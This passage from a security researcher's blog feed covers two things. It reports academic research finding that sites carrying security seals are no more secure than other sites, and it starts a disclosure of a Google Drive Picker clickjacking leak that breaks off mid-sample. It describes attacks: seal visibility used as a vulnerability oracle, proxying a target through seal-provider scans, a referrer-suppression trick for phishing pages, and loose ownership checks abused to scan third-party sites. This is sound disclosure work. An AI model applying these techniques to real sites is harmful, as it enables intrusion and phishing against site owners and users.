&lt;p&gt;Now, does having such a security seal on your website actually mean you can trust what the seal provider is claiming, and that your website is secure, or does it actually introduce new types of vulnerabilities and increase the likelihood of compromise? This is exactly what we wanted to find out in &lt;a href=&quot;/academic/#ccs2014&quot;&gt;our research&lt;/a&gt;.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;Before getting into the results, and new types of attacks we found, let me first guide you through some more background on how the different seal providers operate, and which experiments we executed to evaluate the claims of security by the seal providers.&lt;/p&gt;

&lt;h3 id=&quot;security-seals&quot;&gt;Security Seals&lt;/h3&gt;

&lt;p&gt;In our research, we evaluated 10 different security seal providers, whose security seal you can see below. These seals can be included with some basic HTML code, for instance:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://seal-provider.com/verify/?id=mywebsite.com&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://seal-provider.com/seal.png?id=mywebsite.com&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The security seal image is dynamically generated, based on the state of security in &lt;code&gt;mywebsite.com&lt;/code&gt;. In case the website was found to be secure, the seal will be shown (just as the seals below). This seal also links to the website of the seal provider, so the visitor can verify that the seal is valid, and is not just an image the website administrator put on his website.&lt;/p&gt;

&lt;p&gt;In case the website was found to be vulnerable, none of the seal providers will show this on their seal. Instead, most of the seal providers will just make the seal invisible (by turning it into a 1x1 px image, or making it transparent). So to an average visitor, a vulnerable, sealed website will just look like a website without a security seal. Note: when a vulnerability was found in a sealed website, most seal providers allow the website administrator a grace period of a couple of days during which he can fix the vulnerability before his seal becomes invisible.&lt;/p&gt;

&lt;div class=&quot;security-seals&quot;&gt;
&lt;a href=&quot;https://trustsealinfo.websecurity.norton.com/splash?form_file=fdf/splash.fdf&amp;amp;dn=www.symantec.com&amp;amp;lang=en&quot; tabindex=&quot;-1&quot; target=&quot;VRSN_Splash&quot;&gt;&lt;img name=&quot;seal&quot; border=&quot;true&quot; src=&quot;/assets/img/seals/01-verisignseal.png&quot; oncontextmenu=&quot;return false;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://www.mcafeesecure.com/verify?host=www.mcafeesecure.com&quot; target=&quot;_blank&quot;&gt;&lt;img id=&quot;pd-float-tm&quot; width=&quot;124&quot; height=&quot;55&quot; src=&quot;/assets/img/seals/02-mcafee-secure.png&quot; style=&quot;cursor: pointer; border: 0px; padding: 0px; z-index: 998; box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 20px;&quot; oncontextmenu=&quot;alert('Copying Prohibited by Law - McAfee SECURE is a Trademark of McAfee, Inc.'); return false;&quot; /&gt;&lt;/a&gt;
&lt;a name=&quot;trustlink&quot; style=&quot;margin:0 auto;padding:0px;&quot; href=&quot;http://secure.trust-guard.com/security/637&quot; target=&quot;_blank&quot; onclick=&quot;var nonwin=navigator.appName!='Microsoft Internet Explorer'?'yes':'no'; window.open(this.href.replace('http', 'https'),'welcome','location='+nonwin+',scrollbars=yes,width=517,height='+screen.availHeight+',menubar=no,toolbar=no'); return false;&quot; oncontextmenu=&quot;var d = new Date(); alert('Copying Prohibited by Law - This image and all included logos are copyrighted by trust-guard 1 '+d.getFullYear()+'.'); return false;&quot;&gt;&lt;img name=&quot;trustseal&quot; alt=&quot;Security Seals&quot; style=&quot;border: 0;margin-bottom:25px;&quot; src=&quot;/assets/img/seals/03-trust-guard.gif&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://www.securitymetrics.com/site_certificate.adp?ID=www.securitymetrics.com&amp;amp;SCID=1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/assets/img/seals/04-securitymetrics.gif&quot; alt=&quot;SecurityMetrics for PCI Compliance, QSA, IDS, Penetration Testing, Forensics, and Vulnerability Assessment&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://www.sitelock.com/verify.php?site=www.sitelock.com&quot; onclick=&quot;window.open('https://www.sitelock.com/verify.php?site=www.sitelock.com','SiteLock','width=600,height=600,left=160,top=170');return false;&quot;&gt;&lt;img alt=&quot;malware removal and website security&quot; title=&quot;SiteLock&quot; src=&quot;/assets/img/seals/05-sitelock.jpg&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;http://www.beyondsecurity.com/vulnerability-scanner-verification/www.beyondsecurity.com&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/assets/img/seals/06-beyond-security.gif&quot; alt=&quot;Vulnerability Scanner&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;javascript:window.open('https://scanverify.com/siteverify.php?site=scanverifysample3.com','new_window','width=640,height=460,scrollbars=no');&quot;&gt;&lt;img src=&quot;/assets/img/seals/07-scanverify.png&quot; border=&quot;0&quot; alt=&quot;ScanVerify.com Site Trust Seals&quot; /&gt;&lt;/a&gt;
&lt;a onclick=&quot;window.open(this.href, 'qualysSealInfo', 'height=851,width=745,resizable=1'); return false;&quot; href=&quot;https://seal.qualys.com/sealserv/info/?i=641bc630-38ff-4da2-a17d-c413b6f7205c&quot; title=&quot;View our Qualys SECURE Seal Report.&quot;&gt;&lt;img width=&quot;89&quot; height=&quot;47&quot; src=&quot;/assets/img/seals/08-qualys-secure.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://www.comodo.com?key5sk1=6988513b173924e53cd0bfa751f6a390880790bc&amp;amp;key5sk2=&amp;amp;key5sk3=1416411439000&amp;amp;key5sk22=&amp;amp;key5sk23=1415140867000&amp;amp;key5sk24=&amp;amp;key5sk25=1416411445000&amp;amp;key6sk1=&amp;amp;key6sk2=CH3802125122&amp;amp;key6sk3=9&amp;amp;key6sk4=en-us&amp;amp;key6sk5=&amp;amp;key6sk6=0&amp;amp;key6sk7=Google&amp;amp;key6sk8=150-1&amp;amp;key6sk9=1280800&amp;amp;key6sk10=true&amp;amp;key6sk11=8dbbc29693ce3e4a1d3e032df7870c85c5a9b853&amp;amp;key6sk12=2037&amp;amp;key7sk1=231704&amp;amp;key1sk1=ors&amp;amp;key1sk2=Google&quot; onclick=&quot;window.open(&amp;quot;https://secure.comodo.net/ttb_searcher/trustlogo?v_querytype=W&amp;amp;v_shortname=HGLOG2&amp;amp;v_search=www.comodo.com&amp;amp;x=6&amp;amp;y=5&amp;quot;,&amp;quot;HGLOG2&amp;quot;,&amp;quot;width=450,height=634,toolbar=no,location=no,directories=no,		status=no,menubar=no,scrollbars=no,copyhistory=no,resizable=no&amp;quot;);return false;&quot;&gt;&lt;img src=&quot;/assets/img/seals/09-hackerproof.gif&quot; style=&quot;border:none;&quot; /&gt;&lt;/a&gt;
&lt;a href=&quot;https://www.tinfoilsecurity.com/badge_verify/a79e560c7ff85377825260bae8df40b49fb9246a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/assets/img/seals/10-tinfoil.png&quot; alt=&quot;Secured by Tinfoil Security&quot; width=&quot;115&quot; height=&quot;44&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;As I’ve said before, in our research we wanted to find out whether having such a security seal on your website actually means your website is more secure. There have been &lt;a href=&quot;http://lcamtuf.blogspot.com/2012/06/this-page-is-now-certified.html&quot;&gt;some&lt;/a&gt; &lt;a href=&quot;http://www.troyhunt.com/2013/05/why-i-am-worlds-greatest-lover-and.html&quot;&gt;reports&lt;/a&gt; on security seals being sketchy, but these were mainly anecdotal or for a handful of websites. We wanted to look at the security seal ecosystem, and verify the security-claims at a large scale. In order to do so, we collected a list of seal-using websites by crawling the homepage of the 1 million most visited websites according to Alexa, and looking for the presence of a security seal. By using Google dorks, we managed to discover some more websites. For instance, using &lt;code&gt;site:mcafeesecure.com/verify?host=&lt;/code&gt; allows you to discover a large number of McAfee SECURE customers (as you can see for yourself &lt;a href=&quot;https://www.google.com/search?num=100&amp;amp;q=site%3Amcafeesecure.com%2Fverify%3Fhost%3D&quot;&gt;on Google&lt;/a&gt;). As a result, we discovered 8,302 websites using security seals which we then evaluated. Interesting to note: most of the seal-using websites are webshops, which makes sense, as these websites may benefit financially by having users trust them. From an attacker’s perspective, this is also interesting, as these websites often hold valuable data (credit cards, …).&lt;/p&gt;

&lt;h3 id=&quot;security-evaluation&quot;&gt;Security Evaluation&lt;/h3&gt;

&lt;p&gt;To analyze whether sealed websites are actually secure, or at least more secure than non-sealed websites, we executed three experiments:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A comparison of adoption of security mechanisms in sealed websites versus non-sealed websites&lt;/li&gt;
  &lt;li&gt;A manual penetration test of sealed websites which were willing to cooperate&lt;/li&gt;
  &lt;li&gt;Analyzing the vulnerability scanners employed by seal providers by setting up a vulnerable webshop&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I will briefly discuss each experiment and its results. For more details, please &lt;a href=&quot;/academic/#ccs2014&quot;&gt;refer to our paper&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;1-comparison-to-non-certified-websites&quot;&gt;1. Comparison to non-certified websites&lt;/h4&gt;

&lt;p&gt;In this experiment, we made the assumption that websites with a security seal try to protect their users as good as possible. Next to trying to identify and fix vulnerabilities in your website, one can also use certain security mechanisms which will make it much harder for an attacker to successfully exploit a vulnerability. For example, when the &lt;code&gt;HttpOnly&lt;/code&gt; attribute is set on a cookie, this cookie is not accessible through JavaScript. So even if an attacker is able to find an XSS vulnerability in your website, he will not be able to steal the cookie.&lt;/p&gt;

&lt;p&gt;In our experiment, we evaluated the presence or absence of nine security mechanisms, which are indicative of a website’s “security hygiene”. We compared the adoption of these mechanisms between sealed websites and equivalent (same category, similar Alexa ranking) non-sealed websites, and found what previous reports already indicated: sites with a security seal are not significantly more secure than sites without such a seal.&lt;/p&gt;

&lt;h4 id=&quot;2-penetration-testing&quot;&gt;2. Penetration testing&lt;/h4&gt;

&lt;p&gt;So sealed websites don’t adopt security mechanisms more often than non-sealed websites. Perhaps they don’t need these, as they were thoroughly scanned and therefore shouldn’t contain easily discoverable vulnerabilities? To verify this claim, we executed another experiment where we did a manual penetration test of max. 8 hours (approximately the time a moderately interested attacker would be willing to spend).&lt;/p&gt;

&lt;p&gt;In order to find websites willing to cooperate (i.e. allowing us to do a &lt;strong&gt;free&lt;/strong&gt; penetration test, of which the results would be used anonymously), we contacted a total of 1,000 sealed websites by filling out the contact form on the website, or sending them an email.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Interesting sidenote: the template text we used, contained the contraction &lt;code&gt;don't&lt;/code&gt;; something we didn’t pay attention to, until at one point we received a MySQL error, indicating the contact form was actually vulnerable to SQL injection attacks.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Of the 1,000 websites we contacted, very few responded. Next to the emails we received where we were explicitly prohibited from doing any sorts of tests, we did manage to find 9 websites willing to cooperate. The results of the penetration test of these nine websites are quite worrisome: we found vulnerabilities in 7 out of the 9 websites. In most cases, these vulnerabilities were easily discoverable, e.g. several cross-site scripting vulnerabilities where a GET parameter was reflected without proper encoding. This shows there are definitely quite some shortcomings in thoroughness of the security tools used by seal providers.&lt;/p&gt;

&lt;h4 id=&quot;3-vulnerable-webshop&quot;&gt;3. Vulnerable webshop&lt;/h4&gt;

&lt;p&gt;To further evaluate the thoroughness of the vulnerability scanners used by the seal providers (the performance of these scanners is key for the trustworthiness of a security seal), we set up a vulnerable webshop for which we tried to obtain a security seal. The webshop was an outdated version of PrestaShop (a popular open-source e-commerce web application), where we included several vulnerabilities, such as XSS, SQL Injection, …&lt;/p&gt;

&lt;p&gt;We managed to buy (or get free trials for) security seals from eight companies. Surprisingly, we could immediately include two seals in our website, as the two seal providers did not find any vulnerability in our website. By looking at our server logs, we found that the lack of vulnerability discovery actually was not that very surprising. One of the seal providers merely ran a port scan using Nmap, and the other did a very basic Nessus scan. These tools are definitely not adequate to perform a rigorous security evaluation of a website.&lt;/p&gt;

&lt;p&gt;The other six seal providers did manage to find *some* vulnerabilities, but performed far from sufficient. Five seal providers found a third or less of the vulnerabilities, and one found almost half. Of course, you could argue that we made it incredibly hard for the seal providers to find these vulnerabilities. That’s why we compared the coverage of found vulnerabilities with three popular vulnerability scanners (Acunetix, HP WebInspect, Burp Suite). These tools, which can also be used by an attacker, found at least as many vulnerabilities as the best-performing seal provider.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/seal-nasty.jpg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I guess it doesn’t really come as a surprise that these experiments show that sealed websites are not more secure than non-sealed websites in general. But well, there is no harm in using one of these security seals, right?&lt;/p&gt;

&lt;h3 id=&quot;attacks&quot;&gt;Attacks&lt;/h3&gt;

&lt;p&gt;Although the services offered by seal providers attempt to improve the security of websites that make use of, we found several attacks which are inherent to the security seal ecosystem. These attacks may expose a sealed website to an additional risk of being exploited. In this section I will discuss a subset of the attacks we found, for the complete list, please &lt;a href=&quot;/academic/#ccs2014&quot;&gt;refer to our paper&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;1-using-security-seals-as-an-oracle&quot;&gt;1. Using security seals as an oracle&lt;/h4&gt;

&lt;p&gt;In the beginning of this post, I mentioned that when a vulnerability was found in a seal-using website, this seal will become invisible. This means that an adversary can infer the state of security from the security seal: visible means no vulnerability was found, invisible means the website is actually vulnerable.
Now, all an attacker needs to do in order to discover vulnerable websites, is (1) collect a list of seal-using websites - this is quite easy using Google dorks, (2) grab the seal for each website every day, and (3) check whether the image is invisible.&lt;/p&gt;

&lt;p&gt;We actually did just that during a two-month-long experiment, and found a large number of websites with an invisible seal. Next to being vulnerable, having an invisible seal can also mean that the contract between the website and seal provider ended. But for an attacker, having an invisible seal on your website may already be enough incentive to launch an attack.&lt;/p&gt;

&lt;p&gt;Next to the visibility of a security seal, there’s another way to leak the state of security of a certain website: the seal-verification page on the seal provider’s website. This page contains some basic information on the website, the offered services, and the results of the scan (e.g. the last day the website was found to be secure). For some seal providers, this leaks some additional information, and allows an attacker to identify whether an invisible seal means the contract has ended, or that the website is actually vulnerable. In our experiment, we found over 100 websites that most likely contained a vulnerability (or at least one that was found by the seal providers) at some point during the two months the experiment ran.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/seals-attack1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=cibvE6fKyrs&quot;&gt;At Derbycon 2012&lt;/a&gt;, Jay James &amp;amp; Shane MacDougall presented a tool called “Oizys” which would try to enumerate customers of McAfee and Trust-Guard and pinpoint vulnerable websites by analysing disappearing seals.&lt;/p&gt;

&lt;h4 id=&quot;2-identify-vulnerabilities&quot;&gt;2. Identify vulnerabilities&lt;/h4&gt;

&lt;p&gt;When the attacker found a vulnerable website, he will still need to identify the vulnerability. He could do this by starting a vulnerability scan in his favorite tool, manually pentest the website, or again abuse the security seal services to help him with this daunting task. The latter may actually work best, since the seal provider found the vulnerability before, and will probably find it again.&lt;/p&gt;

&lt;p&gt;So in order to discover the vulnerability that lead to the seal turning invisible, the attacker can do the following:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Set up a proxy, this proxy will forward all incoming requests to the vulnerable website, and return its response.&lt;/li&gt;
  &lt;li&gt;Register for a free trial at the seal provider (most seal providers offer this)&lt;/li&gt;
  &lt;li&gt;Tell the seal provider to scan the security of the proxy-server&lt;/li&gt;
  &lt;li&gt;Once the scan has completed, the seal provider will share the vulnerabilities it found in the proxy (so actually in the attacker’s target)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Easy peasy!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/seals-attack2.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;3-improve-phishing-campaigns&quot;&gt;3. Improve phishing campaigns&lt;/h4&gt;

&lt;p&gt;If the presence of a security seal actually improves the trustworthiness of a website, the same should hold for phishing websites. So to improve the trustworthiness of a phishing campaign, attackers can include a security seal. Although attackers can simply duplicate the security seal image and place it on their phishing page, clicking the image will not show the website is secure. This is because some seal providers check the &lt;code&gt;Referer&lt;/code&gt; header. If the value of this header does not match the domain of the seal, it is not shown.&lt;/p&gt;

&lt;p&gt;Interestingly, when the &lt;code&gt;Referer&lt;/code&gt; header is missing, seal providers happily show the security seal and status page. An attacker can easily achieve this by adding following HTML tag to his phishing page: &lt;code&gt;&amp;lt;meta name=&quot;referrer&quot; content=&quot;never&quot;&amp;gt;&lt;/code&gt;. According to the &lt;a href=&quot;https://w3c.github.io/webappsec/specs/referrer-policy/&quot;&gt;W3C specs&lt;/a&gt;, this will suppress the &lt;code&gt;Referer&lt;/code&gt; header from being sent.&lt;/p&gt;

&lt;h4 id=&quot;4-attack-3rd-party-websites&quot;&gt;4. Attack 3rd-party websites&lt;/h4&gt;

&lt;p&gt;In this last attack, I will show how an attacker can trick a seal provider to start a vulnerability scan against an arbitrarily chosen website. Running a vulnerability scan against a website may come with a certain cost for the attacker. We found that a single seal provider made over 170,000 requests to check the security of our relatively simple webshop. How nice would it be if you could just let the seal provider do the heavy lifting and receive a report with all the vulnerabilities that were found?&lt;/p&gt;

&lt;p&gt;When signing up with a seal provider, one first needs to prove ownership of the website you want to obtain a seal for. This proof-of-ownership is usually as follows: the seal provider supplies a file with a randomly generated name, e.g. &lt;code&gt;j52ykxg4emi7nda49ofk&lt;/code&gt;, and content, e.g. &lt;code&gt;ojh199xpovu8uxmx4n1q3qzv6j6eo13t4bbtb36s&lt;/code&gt;. The website owner then uploads this file on his website, and tells the seal provider to check the authenticity. The seal provider will then request &lt;code&gt;http://attacked-website.com/j52ykxg4emi7nda49ofk&lt;/code&gt;, and check for the presence of the randomly generated string. Some seal providers will just verify whether this string appears *somewhere* on the page.&lt;/p&gt;

&lt;p&gt;Now take a look a my freshly created Vimeo page: &lt;a href=&quot;https://vimeo.com/j52ykxg4emi7nda49ofk&quot;&gt;https://vimeo.com/j52ykxg4emi7nda49ofk&lt;/a&gt;. This page contains the randomly generated string &lt;code&gt;ojh199xpovu8uxmx4n1q3qzv6j6eo13t4bbtb36s&lt;/code&gt; as part of my bio description. This means that I can trick the three seal providers that don’t require an exact match of the uploaded file, to do a security scan on &lt;code&gt;vimeo.com&lt;/code&gt;, and report back the vulnerabilities they found to me.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/seals-attack4.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;This research shows that websites containing a security seal are not significantly more secure than sites without such a seal. This has two major implications: (1) users of sealed websites are often falsely tricked into believing they are secure, and (2) owners of sealed websites are lead believing their website is secure, which may prevent them from spending additional resources (e.g. by implementing security mechanisms) to make their website more secure.&lt;/p&gt;

&lt;p&gt;The discovery of the discussed attacks shows that signing up for a security seal service may even be hazardous. By having a security seal, websites may actually become an easy and alluring target for attackers.&lt;/p&gt;

&lt;div class=&quot;gray-box&quot;&gt;
	If you are interested in all the juicy details, definitely have a look at &lt;a href=&quot;/academic/#ccs2014&quot;&gt;our paper&lt;/a&gt;!
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/clubbing-seals.png&quot; /&gt;&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="Security Seal" /><category term="Security" /><category term="Academic" /><category term="Attacks" /><summary type="html">Is this website secure? Well, it just contains statically generated content and holds no personal information, so most likely it is. But how would you be able to tell whether it actually is secure? This problem is exactly what security seal providers are trying to tackle. These seal providers offer a service which allows website owners to show their customers that their website is secure, and therefore safe to use. This works as follows: The security seal provider initiates a vulnerability scan towards the to-be-sealed website. When the website is found to be without vulnerabilities, the website owner can include a seal on his website, which links to the seal provider, and shows the security of the sealed website is A-ok. In case some vulnerabilities were found, the seal provider reports these to the webmaster, who has a limited amount of days to fix these before the seal becomes invisible (more on this later). This process is repeated every day, week, month or quarter, depending on the security seal provider. Now, does having such a security seal on your website actually mean you can trust what the seal provider is claiming, and that your website is secure, or does it actually introduce new types of vulnerabilities and increase the likelihood of compromise? This is exactly what we wanted to find out in our research.</summary></entry><entry><title type="html">ClickJacking vulnerability leads to information leakage in Google Drive</title><link href="https://tom.vg//2014/02/google-drive-clickjacking-vulnerability/" rel="alternate" type="text/html" title="ClickJacking vulnerability leads to information leakage in Google Drive" /><published>2014-02-18T00:00:00+01:00</published><updated>2014-02-18T00:00:00+01:00</updated><id>https://tom.vg//2014/02/google-drive-clickjacking-vulnerability</id><content type="html" xml:base="https://tom.vg//2014/02/google-drive-clickjacking-vulnerability/">&lt;p&gt;This blog post reports on a ClickJacking vulnerability in Google Drive, which has not been fixed in more than 5 months. I will discuss how this vulnerability was discovered in a semi-automated fashion, what caused the vulnerability and how Google should/could have fixed it.&lt;/p&gt;

&lt;p&gt;In an attempt to live up to Mr. Curtis “50 Cent” Jackson’s life guidance (&lt;em&gt;Get Rich Or Die Tryin’&lt;/em&gt;), I wanted to come up with something that automated much of the checks I did when hunting bugs manually. One of these checks is to verify whether web pages send out the correct security headers. A header that should be on every web page containing a form which initiates a state-change, is &lt;code&gt;X-Frame-Options&lt;/code&gt;. By sending out this header on a web page, a website operator can protect his users against ClickJacking vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt; &lt;code&gt;X-Frame-Options&lt;/code&gt; &lt;em&gt;is not the only mechanism to protect against ClickJacking, the &lt;code&gt;frame-ancestors&lt;/code&gt; directive of CSP does this as well.&lt;/em&gt;&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h3 id=&quot;hustlers-ambition&quot;&gt;Hustler’s Ambition&lt;/h3&gt;

&lt;p&gt;As the amount of time I had for creating this was rather limited, I decided to implement this mechanism as a browser plugin, which logs all pages that contain a form and don’t send out the &lt;code&gt;X-Frame-Options&lt;/code&gt; header. As I regularly use the websites that are subject to my analysis, all I had to do now was wait and &lt;em&gt;keep going ‘til I hit the spot&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;I assumed that only pages with forms would be vulnerable to ClickJacking attacks, but this might not always be the case.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A few weeks later, I started analysing the log files to check if I had hit something. After going through some false positives (Google Maps, Google Sites, forms on Google Docs, …), I found something interesting: &lt;a href=&quot;https://developers.google.com/picker/&quot;&gt;Google Picker&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Google Picker is a “File Open” dialog for the information stored in Google servers.&lt;/p&gt;

  &lt;p&gt;With Google Picker, your users can select photos, videos, maps, and documents stored in Google servers. The selection is passed back to your web page or web application for further use.&lt;/p&gt;

  &lt;p&gt;Use Google Picker to let users:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;
      &lt;p&gt;Access their files stored across Google services.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Upload new files to Google, which they can use in your application.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;Select any image or video from the Internet, which they can use in your application.&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, you select your files from Google, and send information about them to a third party. I would assume that as a user, I would have to give some permission for a third party to get information on my private files, or that I at least would clearly see what I was doing, right? &lt;del&gt;Right?!&lt;/del&gt;&lt;/p&gt;

&lt;h3 id=&quot;window-shopper&quot;&gt;Window Shopper&lt;/h3&gt;

&lt;p&gt;So here’s what we know: the Google Picker page can be framed and some information about selected files is sent to the parent. By analysing the Google Picker tool, I quickly found that the information was sent cross-origin, by using the &lt;code&gt;postMessage&lt;/code&gt;-mechanism. You can read all about this mechanism on &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window.postMessage&quot;&gt;MDN&lt;/a&gt;, but basically when there are two &lt;code&gt;window&lt;/code&gt;s, the one can use &lt;code&gt;otherWindow.postMessage(message, targetOrigin, [transfer])&lt;/code&gt; to send a message. If &lt;code&gt;otherWindow&lt;/code&gt; is listening (via &lt;code&gt;window.addEventListener(&quot;message&quot;, ...)&lt;/code&gt;), it will be able to receive the message.&lt;/p&gt;

&lt;p&gt;Google Picker determines the target origin and window based on a parameter in the URL. Setting this parameter to the desired attack domain, &lt;em&gt;will take you to the candy shop&lt;/em&gt;. Playing a bit with the parameters I managed to just show pdf files, as these are most likely to be sensitive. This is the page that will be framed: &lt;em&gt;[Redacted]&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now let’s see what data is sent to the attacker through &lt;code&gt;postMessage&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;picker&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;f&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;picked&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;viewToken&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;pdfs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;list&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;docs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0B2QAJJg95dkIRGxsSHd3YzRtbWc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
